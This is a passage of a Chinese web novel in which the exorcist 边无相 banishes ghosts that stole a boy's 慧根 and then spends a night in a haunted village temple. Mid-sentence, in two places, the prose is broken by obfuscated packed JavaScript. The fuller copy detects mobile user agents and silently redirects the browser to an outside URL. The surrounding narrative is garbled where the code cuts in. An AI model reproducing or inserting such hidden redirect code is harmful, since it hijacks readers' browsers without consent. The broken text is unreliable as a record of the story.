一目明显慌了,原本还小小的眼睛骤然睁大开来,眼皮都快要被撑开撕裂,瞳孔奇大无比,将整个屋子都映在其中,无数的血丝从两边的角内拐了出来,很快就覆盖了整个眼白,眼白又很快被瞳孔遮盖,血丝将通孔分裂成无数小块,巨大的恶臭味怦然袭来。 “放屁!我的兄弟们才不会听你这妖言!” 边无相笑了笑,眼神如同稚子一般清明:“没关系啊,我知道你们兄弟情深,怎么会自相残杀呢?只是这老大的名头……我可以给你摘下来,我还可以给别人安上去,我想给谁安就给谁安,谁和我说他想要我就满足他。” “不……” 一目的黑气猛烈颤抖起来,黑气最浓的胸腔处发出轰隆隆的声音。其他四只鬼都浑身遍体鳞伤了,浑身的黑气都被烧成白烟,削了好几层的皮,别说发出这种格外有气势的声音了,连刚刚那句辩驳都几乎用尽了,所有的气力。 “我想……成为老大。” 其中四只鬼里边,一直都没说话的,体型最瘦小的那只开口的声音格外小,但字句却很鲜明,边无相眼底闪出精光来,苍白却有劲的手鼓了鼓掌:“值得夸赞,那就让你做老大。” 一目一个转身,一个甩尾,这五只鬼从一开始的并排,变成了一个圈,唯一的那一目狠狠一巴掌打在了最瘦弱的那只鬼身上,几乎有些咬牙切齿的意思:“我不用你成为老大,我就可以把你杀了!让你魂飞魄散!跟着我有什么不好?我少你吃还是少你穿了!” “没有……” 最瘦弱的那只鬼身上的黑气往脸上移了移,似乎是在小心捧着自己的脸:“没有……没有!” 那只小鬼声音骤然大了起来:“我要成为老大!我也要吃慧根!每次你们分,分到我这里,什么都没有!做苦差事总有我,慧根是我从他的丹血里掏出来的!” “那我也要做老大!是我探查这么久,终于挑选到这么一个合适的人选!” “老大的明明是我吧?难道不是我叫你们看准时机的吗?如果不是我掐点放哨,像你那么犹犹豫豫,这辈子都……撕拉!” 刚刚那只说自己探查已久的鬼,猛地向另一边冲去,差些把一目也翻倒了,鬼气与鬼气之间的撕裂音是那么的明显,砸进了边无相的耳朵里。 “你是要和我们决裂?” 最小的那只是受了什么启发,是最靠边的,只要往相反的方向将自己分裂出来就好了,如果自己是单一的一目,而且他又是有四鬼经验的,慧根都是他一个人的,他可以吃最大块的,可以想吃多少就吃多少! 只是这撕裂实在过于疼痛,像是水烧开了的声音,又像是衣服拉链猛地向下拉的声音,起初还算顺遂,可是越撕裂越撕不开,越撕就越粘。 一目的眼睛通红,恶狠狠盯了半天的边无相,苦丧着脸:“你们真的要离开我?我有哪里做的不好吗?吃的不够,还是喝的不够?” 四只鬼听了这话都怔了怔,灰色的瞳孔依旧如同一滩死水,他们什么都看不见,声音和话语都具有欺骗性,他们还是被骗了。 “哈哈哈!既然你们要离开我,那我就送你们灰飞烟灭!离开我?离开我!” 一目笑得越来越癫狂,臭气弥漫了整个屋子,边无相从药包里拿出了艾草,用火柴划了划火,将艾草燃开来,两番气味就在空中这样彼此相抗。 “做了鬼也不知道洗洗身上,那四个看不见也就算了,你真是腌臜。” “你!啊——” 其余那四只鬼在臭气里面几乎看不见神色,臭气如火钩,那四只鬼就如同是泡沫,烧焦烧灼熔化的声音不绝于耳,先是最小的那只,那些黑气逐渐被吞噬而尽,露出了最开始的死状,是一只被无数白条裹着的团状,白条被逐渐燃烧殆尽,里面是已经枯瘦的女婴,躯体小小的,皮肤又干又棕,像是姜块,像是砍断的老树干。 只是这可怜的女婴还没成长,就已经被断了生路。 那臭气在艾草艾气的净化滋养下,并没有烧到女婴的身上,女婴的眼睛紧紧闭着,嘴巴大张着,迷蒙的白气里,似乎还能看见脸上干痕的泪。 看不见的火势越来越大,慢慢将二只鬼也烧尽了,边无相几个凌空步踏上前去,动作轻柔了许多,把女婴怀抱在怀里,一边的衣袍半开来,牢牢地护着女婴,仿佛是最安然的美梦乡。 第二只鬼已经看不出来究竟是男人还是女人了,似乎游荡了很久才终于被那黑气裹满全身,无数的虫蚁,蚯蚓发干吊在它的躯体骨骼上,被看不见的火一点一点烧成了灰,在白气的迷蒙里散成了薄纱,紧接着变得星星点点,最后慢慢消失不见。 第三只鬼的黑气怎么都烧不破,边无相恍如神人,目若点漆,眉眼低垂:“你的执念是什么?为什么这么重?” 第三只鬼不说话,只是呜咽哭个不停,一开始的声音如同鸭叫,如同吱呀的木门,慢慢的,也许是意识逐渐清醒了过去,哭声仿佛是初临人间的婴儿,紧接着又被覆盖上了经历的层次,生命逐渐抽枝,青年的哭声呜咽嚎啕。 “我……我是……笨孩子。” 这句话如同是直戳心头的箭,让那一目的身躯为之一震,失口道:“不!你不是!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们都已经没有实体了,又哪里来的泪水呢?那不过是他们的执念,那些执念相互砸在彼此的身上,却又因彼此都已经是亡魂而无法切实地触碰到这份执念。 也许这早已经不是一份执念了,执念尚且稚拙,有执念未必是坏事,恐怕这早已经成为了一份伤痛。 那红色的泪水掠过他们的身体,向地上砸去,和常人连这份红色的泪水都看不见,在外界看来,那里什么都没有。 红血泪流到后面,慢慢泛起了黄,仿佛是已经流尽了,只剩下一些脓水,仿佛是把昔日陈旧的伤全都一并排出,那些伤早已经成了疤,成了膏,所有的无力感,所有的不甘心,所有的无援无助,所有的对自己的恨铁不成钢悉数都从那空空的眼眶里滚落挤出。 两只小鬼的眼眶,虽说空空的,却盛满了污浊。刚刚镶嵌进去的那颗眼珠子实在太小了,合着那些脓水一并滚了出去,不知道到底去了哪里,黄色的膏体混着红色的血丝,杂乱无章的小飞虫尸体都在他们的眼眶里,争着拥着从脸颊上滚下去,可是刚落出去一些,眼眶便又很快被盛满。 边无相看着面前的这两只小鬼,目光却放在了第二只鬼的身上,刚刚明明已经化作星星繁点消失的那只鬼,忽而又被重组了起来,被那些滚落出来的污垢捏合成近乎人的形状,浑身上下都散发着浓烈的恶臭。 “你是他们?” “不,我不是他们。” 边无相挑眉一笑:“你不是他们?你源自他们。” “源自又如何?孩子同样也源自父母,但真正追根溯源,从来都没有源自。” 一堆堆黄色的污浊构成的这个近乎人的形象,整体都向下耷拉,仿佛是混了一大锅的泥浆,说出来的话,却要比雨后的空气更通透: “我也想过,但我不是他们,我也没有源自于谁,我就是我,我是世人。” “什么?” 边无相眉头蹙了蹙,有点没听懂是什么意思:“你当然是独一的。” “是啊,我说独一,也说我是世人,我不是单一具体的人,但所有单一具体的人中都有我,都不……接受我。” “或者倒打一耙,说是我迷了心智,很少有人会平衡好我的存在,这样的人真的好少……我不该满是污浊的,我也应该是明丽的,顺其自然的。” 那污浊的物将话语慢慢说着,身体也一点一点向下流淌而去,像是有一个巨大的火炉太阳灼烧在他的头顶,那些泥浆慢慢的成了泥水泥汤,却也越来越褪去浑浊,颜色愈发的明晰。 那是要比白色更沉一些的雾色。 人在雾里,不见外物,就会恐惧与渴求。 人在雾里,恐惧与渴求,就会不见外物。 人在雾里,雾在人里, 不见外物,方见外物, 既见外物,可明本心。 一目同那第三只小鬼紧紧地搂抱在一起,一切的污浊全都褪去,最终留下了干干净净的躯体,第三只小鬼已经沉沉睡去,一目如同生前一般,白净稚嫩的脸,脸上尚且还有两只明亮的眼睛: “你叫什么名字?” “边无相,你有什么要说的吗?” “我都忘了我叫什么名字,我一向都叫自己笨小孩,人们也都叫我笨小孩,或许我不笨,我只是贪玩了一些,或许我是笨的,连自律都做不到。” “这和笨不笨有什么关系?” “人们都这么说,学不会就是笨,只知道玩就是笨,其实我并没有只知道玩,但我总是学不会,学用筷子比别人晚,还总被说‘连筷子都不会用,手势都摆不正,能做得了什么?’,读书写字也比别人慢,总是被说:‘别人都学会了,为什么你学不会?别人都学一次就好了,你为什么要学十次?’” 边无相眯了眯眼:“但你有在学,不是吗?” 他说着,要伸手摸摸一目的头,那双苍白有力的手停在他头上少许的地方,微微拱起手背,一下一下地虚空抚摸着。 “是啊,我太贪心了,我太笨了,我太想走捷径了,所以我提出了吃慧根的办法,但其实——” 一目的一只手中忽而幻化出一样如同人参一般的东西,另一只手中则幻化出了已经软烂掉的果子。 “我将他的慧根盗取而来,却怎么也下不了口,或许人都有自己的节奏,我无非只是要慢一点。” 边无相点了点头,用自己苍白的手接过了慧根,细细打量了一顿,慧根慧根,外面是泛着淡黄色的皮,形状如人参,最上处顶着类似小枝苗一样的东西。 那个慧根蓬蓬然,无数的潜力蕴藏其中,无数的慧思饱含在内,只是周边还有些灰蒙蒙的。 揠苗助长,力不从心,总会让人生病的,即便是无法捕捉到具体的所谓智慧,也一样,越渴求便越痛苦,越努力就越酸涩。 边无相面前的一目痛苦捂着自己的脸,清白干净的眼泪从眼眶滚落,反而眉尾扬了起来:“我送你们去投胎,也算是因祸得福,你也让这小孩有了喘口气的时间。” 福祸相依。 边无相目光投放到了那个大娘的孙子身上,那个叫奇儿的孩子昏着倒着,双目死死紧闭着,身侧还有着厚厚的书。 墙角的篮球看上去已经蒙灰了。 一目带着那几只小鬼同边无相告了别,天上不知究竟是哪位神仙接应了他们,白皙泛着金光的手于半空中出现,柔和得如同游鱼。 随着身形的远去,远处远方,自有啼哭。 大娘端着刚刚做的佛手馒头还有生姜,在门外站了许久,直到边无相冲她挥了挥手,才急吼吼地进了门。 “大师,我们家孙子还有事吗?这些是要干嘛的?要我再做点什么吗?” “没事了,睡一觉就好了,我们尊重一下他自己的路和步调吧。” 边无相的余光扫了一眼还冒着热气的佛手馒头,目光又落回到奇儿身上,他的脖子间挂着一条红绳,上面是雕刻做工极好的文殊菩萨。 室内白光莹莹,菩萨若垂泪。 “生姜你给孩子放在枕边,放个三天丢掉就好了,压压惊,佛手馒头给孩子吃掉吧,以后顺遂无忧。” 大娘连声应下,边无相的目光依旧落在那个孩子身上,刚刚他去过他的元辰,那里灰蒙蒙一片,无数的书本代替宫殿,密密麻麻堆叠的的卷子可比参天的树,绝断的崖,奇儿只有一个角那么大,总是在抬头望着,一刻不敢松懈,向上爬着,汗水和血痕被天外迷蒙的鼓励与催促遮盖。 而在这一切里,最大最庞伟的,是无数书卷后面翠玉般的文殊菩萨像。 那像背着身,发丝精秀,身躯巍峨。 不忍心观面前人。 随着背过身的那一面看去,文殊菩萨真正下视的,长路漫漫,条条曲折,各形各色,安然迥异。 3. 诡庙女婴(一) 这次被鬼吃慧根的事情,奇大娘难得没有如同往常一般向外说去,这大娘和无数大娘都一样,村口上回回热闹,回回少不了她们,什么家长里短都往外唠,什么谁家讨了新媳妇,那家生了胖娃娃都要听上两耳朵。 边无相也不知怎么想的,没有再去菜市场摆摊,反倒在村里摆了起来。好在村子里常有集市,生意也不算差,一连几日下来,名声也就传开了。 今天给那家人找了丢的牛,昨天帮忙物色了村里面新要盖的房子地理位置怎么样,前天又给谁家算了一卦,前天又给哪家驱了邪,也算是一传十,十传百,满村传得沸沸扬扬。 村长是个六十多岁的老头子,人有些闷,什么都讲究自己看了才能信,村里来了个神算子的消息传到他耳朵里,便转头就把边无相叫了过去。 “您找我有事?” 边无相照旧还是穿着他那一身大袍子,腰间挂着个酒葫芦,衣领大敞着,眼角含着笑,万种情思都混杂着些许目下无人的气势。 “倒也没什么事,就是我听说你算卦特别准,还会抓鬼?” “一点皮毛而已,抓鬼也不过是一些三脚猫的功夫,勉强能混口饭吃。” “好!” 刘村长一拍桌子就站了起来,叫旁边的青年人拿了样东西过来,眼里也含着笑,眼尾的鱼纹都皱出来,只是这笑里面算计的成分,总觉得太重了,但也不算是坏事。 毕竟,总要有些人精于算计,这样也好做分配。 边无相手指在酒葫芦口上摸了摸:“这是要射覆?” “诶,聪明人!捉鬼咱们一时半会考不了你,不过我倒想先看看你到底准不准,你要是准,咱们就商量个事,做个交易。” “不妨先把这个事情说出来,我听听再考虑考虑。” 边无相看着刘村长小心翼翼从青年人手中接过东西,那是一个扁长的木盒子,面上脆皮掉漆,还有些许的划痕,看上去已经有些年月了。 “那不成,正好也让我见识见识,这个事情如果成了,一定少不了你的。” 边无相起身做势要走,苍白有力的胳膊与手撑在桌子上,梳起来的头发有些蓬乱,被清晨的风掠过,轻轻拂过他的颈侧。 “我不在乎名利,你开的条件恐怕不是我所需要的。” 刘村长脸色一变,窘迫与愠怒就要往脸上冲,好在堪堪收住了,只得尴尬陪笑,两道格外稀疏的眉毛看上去也极不甘愿:“这…要不然这样,你说你需要什么,事成以后我定然给你,要多少有多少,你要一份我给双份。” “呵”,边无相绕过桌边,将其中一只手轻轻抚在了那个木盒上,指尖一下一下轻敲着,发出叮叮叮的声音。 “是给我吗?不考虑考虑你的身份?” 边无相薄而整齐的指甲将木盒磨得刮擦做响,脑袋微微向下低了低,目光不知在透过盒子究竟看向何处:“刘村长。” “是是是,是我考虑不周了,这是我本分之内的事情,那断然是不敢懈怠的。” 刘村长这个人向来都忌惮这些怪力乱神,看似看不上,却又处处都要提防着。据说早些年的时候,因为惹了点什么不干净的东西,四处求医问卜,到头来却只是一通白忙活,在那以后便再不允许自己的耳朵里听见什么神神鬼鬼的事情。 只是这两年,村子的那个寺庙又开始发出异响了。 不,其实这个寺庙的古怪从来没有断过,只是先前一直用围栏围着,但这两年,无论加固几次围栏,总会莫名其妙被打开、推倒,铁围栏上总有一些小小的脚印,像踩了满脚泥巴点的虎头鞋。 这不禁让大家都有些心里发怵,如今来了这么个神仙似的算子,又整天嚷着自己会捉鬼,会抓精怪,给个机会自然也没差,能成自是最好的。 “那就把盒子里的钥匙拿出来吧,带路把锁打开,不过我要提第一个条件——” 刘村长听见钥匙两个字,眼睛亮了又亮,一霎时,似乎眼前都清白了:“你说你说,只要能把那个事情解决了,你提十个条件都没问题!” “我要在那里住两个晚上,给我打些酒,再给我拿床干净舒适的被褥来。” 边无相自己放在木盒上的手松开了,慵懒伸了个懒腰,衣袍领子越发不蔽体,刘村长摸了摸自己的鼻尖:“年轻人还是要注意影响,你这……” 边无相脸不红,心不跳,格外自然地拢了拢手:“夏天就是热了些,现在就能过去了。” 两人一路前行,地方越走越偏,刚开始还有不少的屋舍,泥墙也好,砖墙也罢,正赶上收玉米,有些人家的玉米杆子被收成一排,排靠在墙上,叶片颜色绿油油的,和叫不停的知了一样生机。 慢慢的,两个人越走越远,刘村长的脚步越来越慢,起初两个人什么都不聊,这会儿反而开了嘴:“你叫无相是吧?” “是,无形无相的无相。” 边无相个子高,一边帮村长挡路边上抽出来的枝条,一边应和回答着。 “好名字,人贵在不执迷于表象,无相好。” “是挺好,执迷于表象也未尝不可,过于执迷于不执迷,也是一种执迷,不如什么都不知道。” 刘村长不禁多看了边无相两眼,身旁的这个青年眼下似乎总是睡不醒的样子,嘴角又常含着笑,整个人不算枯瘦却苍白,看似随性,好像没有什么能挡得了他。 “再往前走一段,折到里面的巷子里,就是寺庙了,那个寺庙太诡异了,一开始还叫育安寺,久而久之,也就拆了,邪庙配不上这种名。” 村长一边说着,一边加快了点自己的步子,两个人一脚扎进了草堆里,那些草堆都像针刺一般密,扎得人格外慌。 饶是边无相也有一些发虚汗,心中感叹着:得亏今天没穿布鞋出来。 那个奇大娘觉得他这一身打扮实在是有些难以信服人,于是便从翻箱倒柜从里边找了两件大点儿的衣服出来,边无相的那两身衣服实在有些束缚身体,总感觉像什么枷锁禁锢着自己,只是试了试,便以“好物应当压箱底”把那衣服存了起来,只把那双运动鞋留了下来。 如今想来,得亏留了下来,不然今天指不定这脚要扎成什么样。 村长在前面走,提醒着边无相用手扒着点摞在一起的那些砖瓦,不然万一摔在这草堆里面,整个人回头都要难受个好几天。 两人从草堆里面出去时,边无相还在抖着自己的腿,弯腰从垂下的袍子边和裤腿上摘了不少刺出来,村长也摘了半天,不过大概是走惯了,身上的刺总觉得要比边无相少些。 “还能继续走吗?” 村长自己的帽子摘下来,露出长了无数白毛的棕色卤蛋——那颗蛋甚至都不算圆,还有些方,将帽子用一手抓着,用帽檐一下一下扇着风。 边无相点点头,迈开步子,接着往前走,刚走一步,只觉得衣袍之间的摩擦总像是藏了针一样,偏偏一时半会儿又找不见这些针在哪,嘴角一抽,忍着痛痒又往前走。 “前面不久就到了吧?” 边无相看着远处隐隐约约的黑气,心中大约也有了个底,他大概能知道是些什么状况了。 这会儿还有一段距离,可他就已经听到了无数哭泣的声音,这些声音像是幼童,无数的幼童,这些幼童们尖细的嗓子都闷闷的,像是被什么蒙住了脑袋,蒙住了脸。 刘村长扶了一把额头:“就在前面不远了,这个村叫刘村,因为姓刘的多,这个庙以前也是一个姓刘的建的,不过都是些传闻,不可考。” “没事,这些应该没什么,那个庙有什么异响吗?” 刘村长听到这里,整个人似乎都机灵了一下,一吞口水,身子无形地朝边无相靠了靠:“这个庙主要就是异响多,以前这边还能来人的时候,就老有小孩说这边有有哭闹,要不然就是……” 刘村长似乎刻意卖了个关子,边无相转头就对上了他恐惧的脸:“我这个人平生不信这些,不过虽说不信,但人们说得多了,我心里也害怕。” 边无相挑了挑眉:“所以还有什么?” “要不然就是有小孩莫名其妙走到这边来,在这边还没有被围墙的时候,总有一些个孩子,要不然一个人,要不然几个人,自己就跑到这边玩来了,但我们不知道哇,我们那叫个满世界的找!从白天找到晚上,就差这地方没来,来这地方一看,总有这种小孩,领回家一顿打,我们这些做家长的,做长辈的,就总想着,屁股上来一顿多少就知道苦楚了,哪知道孩子呜呜大哭,死活嚷着不是自己去的,不知道怎么就去那了。” “有一个两个也就算了,如果是偶尔撒撒谎的皮孩子,也就算了!”刘村长一边说着,一边使劲两手交叠,手背对着手心敲个半天不停,那些血管在棕色的皮肤下看不出青紫,如同虬枝一样,虬枝上,少见几个微微胀起的包,一跳一跳。 边无相若有所思,眼睛却不禁跟着那胳膊上的血管跑:“村长,我有点害怕,要不然你离我近点,人生地不熟还好说,这里就咱两个人。” 边无相说这段话时,刻意佯装出了些许恐惧的表情,眼睛微微瞪开来,眼睑撑开,墨色的瞳孔在透光的一些枝条下面折射出少许的琉璃宝色来。 边无相嘴角似乎含着笑,面部肌肉也并不紧绷,样子表情反而有些四不像了。 “是是是,这是我考虑不周了,来我凑你近点,再往前走走就是了。” 两个人一同往前,村长和边无相几乎相并肩。 只是两个人刚走进了寺庙的那片地界,天色变霎时暗了下去,两人一同转身向来路看去,那里还尚且可见一些阳光,可回头来看,此处阴森可怖,灰黑色的砖瓦被更浓更深的暗色裹挟,涂抹,.连一点光都没有。 那阳光洒在地上,就仿佛被一分为二一般,好似是有什么无形的屏障,从天开始,就仿佛在注定着这里见不得人。 边无相有些不好意思:“刘村长,可能要麻烦你和我一同住一夜了。” 刘村长的脸一时之间扭曲不已,不知道是该做青,还是该煞白,还是体内的气血应该有点眼色,赶紧翻腾起来。 唇周的皮肤随着长期留下的纹痕抽动几下,嘴唇的白大概是刘村长抹十层粉底石灰都达不到的。 他努力张了张嘴,喉咙间实在是太干了,大脑仿佛崩断了弦,总感觉有些什么地方是空白的,张嘴又闭嘴,闭嘴又张嘴,半个字都说不出来。 边无相摊乱摊手:“刘村长,我也没办法,要不然你自己回去?” “不了不了,我留下来,我陪你一天!” “村长真是心善,不过看样子应该是没什么人能进得来了,被褥啊酒啊什么的应该没了。” 刘村长踮着脚,小碎步一般一点一点挪得离边无相更近了些:“实在是招待不周了,钥匙我给你吧?到时候你来开门就是了。” 话中之意简直再明显不过:我不敢开,你赶紧的,你自己来! 话外之意也在明显不过:你最好不要有事要拜托我,拜托你也最好不要让我有事。 “行,我来。”边无相伸长了手指,一把就勾过了那钥匙上面的薄环,那是细细铁丝缠成的一个空心圈,那个铁丝年代太久了,已经出现锈腥味了,刚刚倒还好,尘土气似乎更重些,这里阴暗又潮湿,不一会儿就覆上了水,自然味道一下就出来了。 “好好好,你来,不是我不敢,咱们这外行人也不太懂规矩,也不太知道这庙门该怎么开……” 边无相斜眼瞥了他一下,好一个不知道庙门怎么开。 “没事,我来开就好,你到时候听着我的意思来。” 边无相二人一同走到了绕了八百个个弯子才终于到的庙门,他示意村长侧到一边站着去,不要在门口大挡着,村长一听这话,头上直发汗,但眼睛却更亮了。 连连应声,连连后退,一侧身子就偏到了一边门面去。 边无相那苍白却有劲的手又抬了起来,这个地方暗,他手上的皮肤也因为薄薄水汽的缘故,而绵津津的,显得骨节越发分明,指腹处总有些许的凹陷不平。 “笃——” “笃笃——” 他抬手敲了两次门,将钥匙往那大锁里一插,天空仿佛都在随着大锁从门上取下而闪了一道暗色的光。 他那道已经盖了不少灰尘的大锁拿了下来,锁子发重发沉,但刚刚开锁并不坎坷,反而很顺利,总想来是庙里面住着些什么“东西”。 于是便把锁子揣在手里,身子侧了过去,半侧过去的身影显得越发深沉。 度过身子后,他将长臂一伸,大门被吱呀一声推开,不知是不是他耳朵灵的缘故,大门推开的那一瞬间,他仿佛听到了倒抽凉气的声音。 接着如同是狡兔快跑,一阵窸窸窣窣后就只剩下了门被打开所带来的余韵。 “呜”的一声门的长鸣,似乎是在为什么悲哀。 两人前后紧挨着先后进了庙里边,边无相突然一个转身,把佝偻着身子往前走的小心翼翼的村长,给险些吓得失了魂儿。 苍老的两只手一阵乱抓,地面似乎在无形之中升起薄薄几层小火苗,让村长只觉得自己脚底板实在发烫,这地真是不能走人,一阵发麻过电的感觉直接略过他的四肢,他脑袋里面炸开去,看见面前这人的脸,才终于松了口气,耳朵里的心跳声还没停息,皱着眉头喝道:“你干什么!” 似乎想来语气着实不好,生怕那人丢了自己,要赶紧露出一个足以镇宅的笑容来——邪祟都要畏惧三分的丑笑。 “这这,这地方随便回头转身不好啊,那什么……没冒犯到你啊?” 边无相收起了眼神里边的警惕:“没有,先找找有什么地方能睡觉吧,今晚你先睡,我守着,正好也要等一些东西。” 刘村长两行无形的眼泪,几乎要从眼眶中滚滚落下,一时之间,竟不知道该感动那句自己能睡觉,还是该惧怕那个所谓的一些东西。 他倒不是不相信,或者忌惮怪力乱神,只是这些东西要说门槛高,又太没门槛了,要说太神了,又处处可见,尤其是这样的民间村里。 越是这样,越容易成陷阱,所谓神神鬼鬼且不说究竟有没有,多少总要心里有苦楚,或者得过什么帮助,才愿意去相信一下。 越是无可依的人,就越是依赖这些。 不过这种依赖终究是太虚幻了,到头来也容易一撒手,尘灰尽散。 “好好,我不给你添麻烦,你要是半夜出去做事,你千万别叫醒我。” 边无相点点头:“好,我今晚只是看看,明天再动手。” 时间一眨就到了半夜,本就发黑的地界越发是伸手不见五指,刘村长躺靠在地上的犄角旮旯处,睁眼也不是,闭眼也不是,这地方本来就邪,这段时间他没进来过,又因为选上了,常往人气儿处跑,心里的那份恐惧,好不容易压下来,今天却又滋长了起来。 “不行你就睡吧,我一个人呆着没问题。” 边无相的视力白天差了些,每逢到黑处暗处,干什么都一清二楚,黑白分明,仿佛是被过滤掉颜色的对比强烈的底片,印在他的眸子里。 刘村长干巴巴咳了两声,难道他不想睡吗?这种地方怎么可能睡得着! 此刻,外面风声作响,长久没人打理的那些枝条,叶子全都呼啦啦,连同脆掉的古木,几乎快要被风掀下一层一块皮来,树枝透过窗子一晃一晃的。 又来了! 边无相眼睛里的警惕又起来了,刚刚还在弥散着的瞳孔霎时变聚了神,那个声音又来了。 刘村长看着边无相准备起身的动作,嘴里的舌头都有些打结打颤:“干什么?你要出去!你要干嘛去?” “……不出去。” 边无相赶紧收住了脚,解释道:“我放松放松腿,刚刚一直保持一个姿势,有点麻了。” 刘村长把声音压得更低,把一只手斜放在自己的嘴边,几乎像用气说话一般:“那就好,倒也不是咱害怕,咱就是觉得应该以静制动……” 边无相将头偏了过去,当做没有看见村长一颤一颤的嘴唇,还有打颤的牙齿。 “对,以静制动,不过——” 边无相还是改不了他那一副死脾气,嬉皮笑脸道:“咱们论起根本来,是静还是动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110885|149771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?谁动了?” 刘村长顿时觉得脸上的肉都在猛跳,一撇嘴,身上那种过电的感觉又上来了,背后总觉得有些阴森森的,像是有什么东西在看着自己。 边无相看着窗外,在心里暗暗做了回答: 不,不是有什么东西在看着他们,而是有什么东西在这片地上,“它们”似乎看不见他们,但,有那么一个“东西”早已经观察他们已久。 疯女人的头发上都是碎叶,裤腿裤脚上都是那种尖尖的针草,身体圆乎乎的,两只眼睛都有些不大聚焦,塌鼻子,笑得傻傻的,一会儿笑,又一会儿绷着神经到处走。 圆乎乎的身体,倒不是说长得油滑,而是她浑身都太圆了,脸是圆的,还有两层下巴,脖子也是圆的,像是个短短的向外膨出去的柱,连胳膊手指都是圆的,但最圆还是要数肚子——那肚子挺出去,夜半看着仿佛是带了一口大铁锅。 边无相敲了敲桌,却不发出任何声响,虽常人目不能至,但他倒是可以,那女人此刻就躲在这座庙后面的小丛子里,那个浑圆的肚子恐怕未必是什么好事。 不仅是对这个庙来说,对那个女人来说也一样,这也是她的一个劫,那肚子里的孩子早已经是个死胎,不过恐怕还有活的机会。 至于活的究竟是谁? 那就不得而知了。 女人并没有直着身子走,而是慢慢跪爬着向前而去,像是在躲什么东西,又像是在狩猎什么东西。 “今天怎么迟了?” 边无相的耳朵被这道声音砸得发痛,这道声音实在是太尖了,可是在尖声的下面,却又是那么的粗犷。 女人的声音小:“抱歉,这里是不是有人来了?” 那道声音又发话了:“我早就知道,没关系,这样也好,得来全不费工夫。” 女人样子有些唯唯诺诺,抿着个嘴,皱着个眉,眼神飘忽不定,四下游移,最终将自己那圆乎的手抚在了肚子上,迟疑半天才终于开口:“不会闹出人命吧?” 她也说不上来,究竟是出于对生命的敬畏,还是生怕自己担了责,那道声音霎时便冷了下去:“你在怕什么?” “我……” 女人抓着衣角低下头去,半天说不出一句话来。 那道声音又开口了:“我说了能给你把死胎复活,你惧怕这些干什么?生死都是小事,那些人又算得了什么?” “是,是。”女人一边应和着,一边抬起头来,朝着那方向看不见的影叩了两叩首,拍了拍身上的尘土直起身子来:“算不了什么,只是要拜托您,今天是最后一天了吧?” “看来你也不蠢,只要过了今天,你那孩子就能生下来,想必是聪明灵巧,成龙成凤的种。” 女人大喜,从草丛里出去了,是刚出了草丛,脚步就开始不稳,脸上胡扯着笑,两只手都虚虚地抓出去,圆乎的胳膊伸长,在空中不知道究竟在扑些什么。 咯咯咯的笑声从她的嘴边流出蹦出,月光浅浅的,薄薄一层打在她的发丝上,发丝半掩的面容实在是有些痴傻,两斜视的眼睛视线不知道究竟在看往何方,一道儿扑到了旁边那座偏殿里。 那个偏殿已经蒙了尘,连个神像都没有,大概是早些年被人偷出去卖了,贡台上还砸着垂下来的木梁,连在上面爬的蜘蛛虫蚁都没有,倒是有不少虫子的死尸。 又来了! 边无相的长眉蹙起,瞟了一眼旁边坚决紧闭着双眼的刘村长,最终只是叹了口气,又开始聚精会神地听。 那些啼哭声又出现了,刚刚那个女人的声音混杂在其中,哭哭笑笑的,在那些啼哭声里边,仿佛是什么头领。 “她在说什么?” 边无相喃喃出声,良久没人回话,只是有些颤牙的声音越来越大,刘村长半天才吐出音来,抽着张老脸:“什么?什么在说什么?” “没什么,我就是随口说说,你闭着眼睛睡会儿,明天天一亮你就走吧。” 刘村长哑口,用于眯出了半小道的眼睛缝,用那一点小缝细细打量着边无相。 边无相的皮肤一向苍白,从前第一面起就这样,这会到了夜半,总觉得在隐隐发亮,月色覆下来,将他的面庞轮廓勾勒得至清晰。 刘村长靠着那一条小缝,看着他的眸子,总觉得像是什么人,好像在什么地方见过。 最终却摇了摇头,算了,这不是他该知道的,玄门中的人其实没有那么多,顶顶好的不过屈指,说不定是早些年在外求仙问卜的时候偶然见过一面。 女人的小调声从偏殿传出去,两只胳膊虚虚地抱着什么,身子和胳膊都一晃一晃的,其中一只手似乎在给什么东西掖着襁褓被角。 圆乎乎的手小心翼翼在空气中翻折着什么,指尖都在微微颤着抖着,傻愣愣的眼睛里竟然读出了一分柔情似水来。 “娃娃乖啊,好好睡呀。” 女人将身体轻轻摇着,边无相看着女人怀里抱着的那个女婴,不禁又想起了一目五里面的那个小朋友,那也是个婴儿。 女婴全身都干瘪着,棕褐色的皮包裹着骨头,两眼睛紧紧闭着,身子缩成小小一团,被女人护在自己的怀里。 细看下去,那女婴的面皮上又出现了另一张脸,那是一样样的脸,只是脸上灰灰的,像是铺满了尘土,眼睛大睁着,啼哭声一点一点弱下去。 笑声便随之而来,小手向上举着,要抓女人的辫子,女人将身子微微俯下去,用额头抵着小婴儿的额头,嘴角含出笑来:“娃娃不哭喽?” “咯咯咯——” 那女婴咯咯咯笑起来,抓着女人的头发直乐呵。 女人与小婴儿抵着额头,微微地晃着自己的脑袋,两斜视的眼睛竟有些聚焦的意思,只是可惜聚焦不了,口中不时弹着舌头,一会儿抵住额头,一会儿又离开,时不时扮个鬼脸,女婴的笑声便随之薄弱下去,慢慢睡了过去。 边无相看着那女婴睡着,面上附着的那层皮也渐渐弱了下去,逐渐埋进了原本的那层皮囊里。 女人将身子侧着弯过去,从地上又抱了个小孩,这也是个女婴,可惜身上什么都没穿,夏天的夜半虽不算冷,可对于小婴儿来说,还是有些难捱。 那女婴打刚刚起,便一直在嚎啕,像是吃了天大的苦头。女人将她紧紧搂在怀里,声音有些抱歉,神志大概是有些清醒的:“今天没给宝儿带来衣服,昨天用纸剪好了也没有烧了,好娃娃——” 